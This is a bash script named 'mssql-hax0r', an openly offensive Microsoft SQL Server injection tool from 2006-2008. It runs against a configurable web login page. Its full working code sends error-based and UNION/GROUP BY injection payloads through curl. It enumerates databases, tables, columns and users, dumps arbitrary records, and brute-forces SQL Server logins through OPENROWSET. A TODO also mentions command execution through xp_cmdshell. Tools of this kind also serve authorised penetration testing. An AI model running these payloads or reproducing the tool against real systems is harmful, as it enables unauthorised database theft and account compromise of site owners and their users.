#!/bin/bash # # $Id: mssql-hax0r,v 1.13 2008/09/10 10:00:15 raptor Exp $ # # mssql-hax0r v1.0 - Multi-purpose MS-SQL injection attack tool # Copyright (c) 2006-2008 Marco Ivaldi # # Multi-purpose SQL injection script for advanced Microsoft SQL Server # exploitation. Three modes of operation are currently available: info # (Information Gathering), dump (Record Dump), and brute (Brute Force). # # See also http://www.0xdeadbeef.info/code/sequel.tgz # # Many thanks to Inode for his support;) # # CHANGELOG (v1.0): # - french language support added (courtesy of ) # - small fix to better handle cookies (for post-auth injections) # - replaced i=`expr $i + 1` with i=$(($i + 1)) to avoid some fork()s # # TODO: # - fix italian language support (test platform needed, ) # - info mode: add logins target (master..sysxlogins) [name,dbname,password] # - brute mode: automatic login grabbing feature? # - info mode: add sys target (xtype='S')? # - info mode: implement better types/keys dumping # - add a command execution mode via master..xp_cmdshell? # - add a privileged testing mode for post-auth vulnerabilities # - other features (see sqlninja, sqlat, etc.)? # ####################### Edit the following parameters ####################### # HTTP method (POST|GET) #METHOD=POST METHOD=GET # Injection parameters URL="http://www.target.com/login.asp" PARTONE="UserName=" # we inject here PARTTWO="&PassWord=x&DATAACTION=CHECK" CHARS="' " # injection chars # Default number of records to be dumped (mode: dump) num=0 # 0 dumps all # Useful curl options # -k/--insecure Allow connections to SSL sites without certs (H) # -L/--location Follow Location: hints (H) # -b/--cookie Cookie string or file to read cookies from (H) # -c/--cookie-jar Write cookies to this file after operation (H) CURL="/usr/bin/curl -k -L -b cookies -c cookies" # External programs (alternatively, use Python's urllib) URLENCODE="urlencode" # http://www.icosaedro.it/apache/urlencode.c URLDECODE="urldecode" # http://www.icosaedro.it/apache/urldecode.c ####################### Multi-language support config ####################### # Default lang="en" # English EN_DUMP1='column of data' EN_DUMP2='s/.*varchar value //' EN_DUMP3='s/ to a column.*//' EN_BASIC='varchar value| on ' EN_QUERY1='Column ' EN_QUERY2='s/.*Column //' EN_QUERY3='s/ is invalid.*//' EN_QUERY4='s/ is invalid.*//' EN_BRUTE='Login fai' # Italian (FIXME) IT_DUMP1='column of data' # ??? IT_DUMP2='s/.*alore varchar //' IT_DUMP3='s/ in una colonna.*//' IT_BASIC='varchar value| on ' # ??? IT_QUERY1='Column ' # ??? IT_QUERY2='s/.*Column //' # ??? IT_QUERY3='s/ is invalid.*//' # ??? IT_QUERY4='s/ is invalid.*//' # ??? IT_BRUTE='Impossibile eseguire' # French FR_DUMP1='vers une colonne de type de donn' FR_DUMP2='s/.*valeur .*varchar //' FR_DUMP3='s/ vers une colonne de type de donn.*//' FR_BASIC='valeur nvarchar| on ' FR_QUERY1='La colonne ' FR_QUERY2='s/.*La colonne //' FR_QUERY3='s/ est incorrecte.*//' FR_QUERY4='s/ n.est pas valide.*//' FR_BRUTE='chec de la connexion de l' ####################### Function declarations go here ####################### # Print header information function header() { echo "" echo "mssql-hax0r v1.0 - Multi-purpose MS-SQL injection attack tool" echo "Copyright (c) 2006-2008 Marco Ivaldi " echo "" } # Clean-up and exit function footer() { echo "" exit 0 } # Print script usage (main) function usage() { echo "./mssql-hax0r -m [-l ] [options]" echo "" echo "-m info : enter info gathering mode" echo "-m dump : enter record dump mode" echo "-m brute : enter brute force mode" echo "-l en : use english language (default)" echo "-l it : use italian language" echo "-l fr : use french language" echo "options : see info|dump|brute help" footer } # Print script usage (mode: info) function usage_info() { echo "./mssql-hax0r -m info -t [-d ]" echo "" echo "-t basic : dump basic information about the database" echo "-t query : dump columns of vulnerable query (1st method)" echo "-t query+ : dump columns of vulnerable query (2nd method)" echo "-t databases : dump database names only" echo "-t tables : dump database/table names" echo "-t tables+ : dump database/table/column names" echo "-t tables++ : dump database/table/column names/types" echo "-t tables+++ : dump database/table/column names/types/keys" echo "-t views : dump database/view names" echo "-t views+ : dump database/view/column names" echo "-t views++ : dump database/view/column names/types" echo "-t views+++ : dump database/view/column names/types/keys" echo "-t procs : dump database/procedure names" echo "-t procs+ : dump database/procedure/parameter names" echo "-t procs++ : dump database/procedure/parameter names/types" echo "-t users : dump users from all databases" echo "-d database : dump only from the specified database" footer } # Print script usage (mode: dump) function usage_dump() { echo "./mssql-hax0r -m dump -b -k -c [-n ]" echo "" echo "-b base : base location for dumping (|)" echo "-k key : specify the key column used for dumping" echo "-c cols : list of columns to be dumped (separated by space)" echo "-n num : number of records to be dumped (default: dump all)" footer } # Print script usage (mode: brute) function usage_brute() { echo "./mssql-hax0r -m brute -u [-p ]" echo "" echo "-u userfile : get users list from file" echo "-p passfile : get passwords list from file" footer } # Green colored output function green() { echo -e "\033[01;32m$@\033[00m" } # Dump basic information function dumpbasic() { basic="Db_Name() User_Name() System_User" #basic="App_Name() Db_Name() User_Name() Host_Name() System_User" # Get database version sql="OR 1 IN (SELECT @@version);--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | egrep "$XX_BASIC" | sed -e "$XX_DUMP2" -e "s/'//g" -e "s/\t//"` else res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | egrep "$XX_BASIC" | sed -e "$XX_DUMP2" -e "s/'//g" -e "s/\t//"` fi # Output results echo "Version:" echo "$res" # Get other useful information for info in $basic do sql="OR 1 IN (SELECT $info);--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi # Output results echo "" echo "$info:" echo "$res" done } # Dump columns in vulnerable query function dumpquery() { # Get the name of the first column sql="HAVING 1=1;--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then col=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_QUERY1" | sed -e "$XX_QUERY2" -e "$XX_QUERY3" -e "s/'//g"` else col=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_QUERY1" | sed -e "$XX_QUERY2" -e "$XX_QUERY3" -e "s/'//g"` fi # Output results echo "$col" # And now get the rest tab=`echo "$col" | cut -d '.' -f 1` for ((i=1; i<= 2;)) do if [ $depth -ge 1 ]; then # GROUP BY technique sql="GROUP BY $col;--" else # UNION SELECT technique sql="UNION SELECT * FROM $tab GROUP BY $col;--" fi inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_QUERY1" | sed -e "$XX_QUERY2" -e "$XX_QUERY4" -e "s/'//g"` else res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_QUERY1" | sed -e "$XX_QUERY2" -e "$XX_QUERY4" -e "s/'//g"` fi # Check whether it's the last record if [ "$res" = "" ]; then break fi # Output results col="$col,$res" echo "$res" done } # Dump databases function dumpdatabases() { i=1 olddb="fnordfnord" while : do # Get database names sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 NAME FROM (SELECT TOP 1 NAME FROM (SELECT TOP $i NAME FROM MASTER..SYSDATABASES ORDER BY NAME ASC) AS FOO ORDER BY NAME DESC) AS FOO ORDER BY NAME DESC))+'%%%%');--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then db=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else db=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi # Check whether it's the last record if [ "$db" = "$olddb" ]; then break fi # Output results i=$(($i + 1)) olddb="$db" echo $db; # Go and get table names if [ $depth -ge 1 ]; then dumptables fi done } # Dump tables|views|procedures|users function dumptables() { j=1 oldtabname="fnordfnord" while : do if [ "$mytype" = "user" ]; then # Get user names sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 NAME FROM (SELECT TOP 1 NAME FROM (SELECT TOP $j NAME FROM ${db}..SYSUSERS ORDER BY NAME ASC) AS FOO ORDER BY NAME DESC) AS FOO ORDER BY NAME DESC))+'%%%%');--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` else # Get table names sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 NAME FROM (SELECT TOP 1 NAME FROM (SELECT TOP $j NAME FROM ${db}..SYSOBJECTS WHERE XTYPE='${xtype}' ORDER BY NAME ASC) AS FOO ORDER BY NAME DESC) AS FOO ORDER BY NAME DESC))+'%%%%');--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` fi if [ "$METHOD" = "POST" ]; then tabname=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else tabname=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi # Check whether the database has no tables if [ "$tabname" = "" ]; then break fi # Check whether it's the last record if [ "$tabname" = "$oldtabname" ]; then break fi j=$(($j + 1)) oldtabname="$tabname" # Get table id if [ $depth -ge 2 ]; then sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT ID FROM ${db}..SYSOBJECTS WHERE NAME='$tabname'))+'%%%%');--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then tabid=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else tabid=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi fi if [ "$tabid" != "" ]; then id="(id:$tabid)" fi # Output results echo -e "\t$tabname $id" # Go and get column names if [ $depth -ge 2 ]; then dumpcolumns fi done } # Dump columns|parameters function dumpcolumns() { k=1 oldcolname="fnordfnord" while : do # Get column names sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 NAME FROM (SELECT TOP 1 NAME FROM (SELECT TOP $k NAME FROM ${db}..SYSCOLUMNS WHERE ID=${tabid} ORDER BY NAME ASC) AS FOO ORDER BY NAME DESC) AS FOO ORDER BY NAME DESC))+'%%%%');--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then colname=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else colname=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi # Check whether the table has no columns if [ "$colname" = "" ]; then break fi # Check whether it's the last record if [ "$colname" = "$oldcolname" ]; then break fi # Get column types if [ $depth -ge 3 ]; then sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT B.NAME FROM ${db}..SYSCOLUMNS A,${db}..SYSTYPES B WHERE A.XTYPE=B.XTYPE AND A.NAME='$colname' AND A.ID=${tabid}))+'%%%%');--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then coltype=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else coltype=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi if [ "$coltype" != "" ]; then coltype="($coltype)" fi fi # Check whether it's a primary key if [ $depth -ge 4 ]; then isakey="" sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT B.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS A INNER JOIN INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE B ON A.CONSTRAINT_NAME=B.CONSTRAINT_NAME WHERE (A.CONSTRAINT_TYPE = 'PRIMARY KEY') AND (A.TABLE_NAME = '$tabname') AND (A.TABLE_CATALOG = '$db') AND (B.COLUMN_NAME = '$colname'))));--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then isakey=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else isakey=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi if [ "$isakey" != "" ]; then isakey="*" fi fi # Output results k=$(($k + 1)) oldcolname="$colname" echo -e "\t\t$colname $coltype $isakey" done } # Generic record dump function function dump() { begin=1 # edit directly to start dumping from a record != 1 end="$num" i=0 oldres="fnordfnord" echo "--------------------------------" while : do sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 $key FROM (SELECT TOP $begin $key FROM (SELECT TOP $begin $key FROM $base ORDER BY $key ASC) AS FOO ORDER BY $key DESC) AS FOO ORDER BY $key DESC))+'%%%%');--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi # Check whether there's an error if [ "$res" = "" ]; then break fi # Check whether it's the last record if [ "$res" = "$oldres" ]; then break fi # Output results oldres="$res" res=`echo "$res" | $URLDECODE` echo "$key=$res" # And now get the rest for col in $columns do sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT $col FROM $base WHERE $key='$res'))+'%%%%');--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then res2=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` else res2=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" | sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"` fi # Output results res2=`echo "$res2" | $URLDECODE` echo "$col=$res2" done echo "--------------------------------" i=$(($i + 1)) # Check whether we dumped all we wanted if [ $begin -eq $end ]; then break fi begin=$(($begin + 1)) done echo "$i record(s) dumped." } # Generic password bruteforcer function brute() { delay="0:0:0" i=0 for user in `cat $ufile` do echo "--------------------------------" # Try password= sql="OR 1 IN (SELECT * FROM OPENROWSET('SQLOLEDB','';'$user';'','WAITFOR DELAY ''$delay'';SELECT 1'));--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_BRUTE"` else res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_BRUTE"` fi # Check grep return value if [ $? -eq 0 ]; then echo "$user:" else i=$(($i + 1)) green "$user:" continue fi # Try password= sql="OR 1 IN (SELECT * FROM OPENROWSET('SQLOLEDB','';'$user';'$user','WAITFOR DELAY ''$delay'';SELECT 1'));--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_BRUTE"` else res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_BRUTE"` fi # Check grep return value if [ $? -eq 0 ]; then echo "$user:$user" else i=$(($i + 1)) green "$user:$user" continue fi # Check if full bruteforce is enabled if [ $fullbrute -eq 0 ]; then continue fi # Perform the full bruteforce attack for pass in `cat $pfile` do sql="OR 1 IN (SELECT * FROM OPENROWSET('SQLOLEDB','';'$user';'$pass','WAITFOR DELAY ''$delay'';SELECT 1'));--" inj=`echo -n "${CHARS}${sql}" | $URLENCODE` if [ "$METHOD" = "POST" ]; then res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_BRUTE"` else res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_BRUTE"` fi # Check grep return value if [ $? -eq 0 ]; then echo "$user:$pass" else i=$(($i + 1)) green "$user:$pass" break fi done done echo "--------------------------------" echo "$i account(s) found." } ####################### The attack script starts here ####################### header # Parse command line while [ ! -z "$1" ]; do case $1 in -m) shift; mode="$1"; shift;; -l) shift; lang="$1"; shift;; -t) shift; target="$1"; shift;; -d) shift; database="$1"; shift;; -b) shift; base="$1"; shift;; -k) shift; key="$1"; shift;; -c) shift; columns="$1"; shift;; -n) shift; num="$1"; shift;; -u) shift; ufile="$1"; shift;; -p) shift; pfile="$1"; shift;; * ) usage ;; esac done # Switch language case $lang in "en") XX_DUMP1=$EN_DUMP1 XX_DUMP2=$EN_DUMP2 XX_DUMP3=$EN_DUMP3 XX_BASIC=$EN_BASIC XX_QUERY1=$EN_QUERY1 XX_QUERY2=$EN_QUERY2 XX_QUERY3=$EN_QUERY3 XX_QUERY4=$EN_QUERY4 XX_BRUTE=$EN_BRUTE ;; "it") echo "error: italian language support not functional yet" footer XX_DUMP1=$IT_DUMP1 XX_DUMP2=$IT_DUMP2 XX_DUMP3=$IT_DUMP3 XX_BASIC=$IT_BASIC XX_QUERY1=$IT_QUERY1 XX_QUERY2=$IT_QUERY2 XX_QUERY3=$IT_QUERY3 XX_QUERY4=$IT_QUERY4 XX_BRUTE=$IT_BRUTE ;; "fr") XX_DUMP1=$FR_DUMP1 XX_DUMP2=$FR_DUMP2 XX_DUMP3=$FR_DUMP3 XX_BASIC=$FR_BASIC XX_QUERY1=$FR_QUERY1 XX_QUERY2=$FR_QUERY2 XX_QUERY3=$FR_QUERY3 XX_QUERY4=$FR_QUERY4 XX_BRUTE=$FR_BRUTE ;; *) usage ;; esac # Switch mode of operation case $mode in # Information Gathering Mode "info") case $target in "basic" ) dumpbasic; footer;; "query" ) depth=0; dumpquery; footer;; "query+" ) depth=1; dumpquery; footer;; "databases" ) depth=0; dumpdatabases; footer;; "tables" ) depth=1; xtype="U";; "tables+" ) depth=2; xtype="U";; "tables++" ) depth=3; xtype="U";; "tables+++" ) depth=4; xtype="U";; "views" ) depth=1; xtype="V";; "views+" ) depth=2; xtype="V";; "views++" ) depth=3; xtype="V";; "views+++" ) depth=4; xtype="V";; "procs" ) depth=1; xtype="P";; "procs+" ) depth=2; xtype="P";; "procs++" ) depth=3; xtype="P";; "users" ) depth=1; mytype="user";; * ) usage_info;; esac if [ ! -z $database ]; then db=$database echo $db dumptables else dumpdatabases fi ;; # Record Dump Mode "dump") if [ -z "$base" ] || [ -z "$key" ] || [ -z "$columns" ]; then usage_dump fi dump ;; # Brute Force Mode "brute") if [ ! -z "$ufile" ]; then if [ "`cat $ufile 2>/dev/null`" = "" ]; then echo "error: corrupted username file?" footer fi if [ ! -z "$pfile" ]; then # Get password list from a file fullbrute=1 if [ "`cat $pfile 2>/dev/null`" = "" ]; then echo "error: corrupted password file?" footer fi brute else # Test only password=| fullbrute=0 brute fi else usage_brute fi ;; # Default *) usage ;; esac footer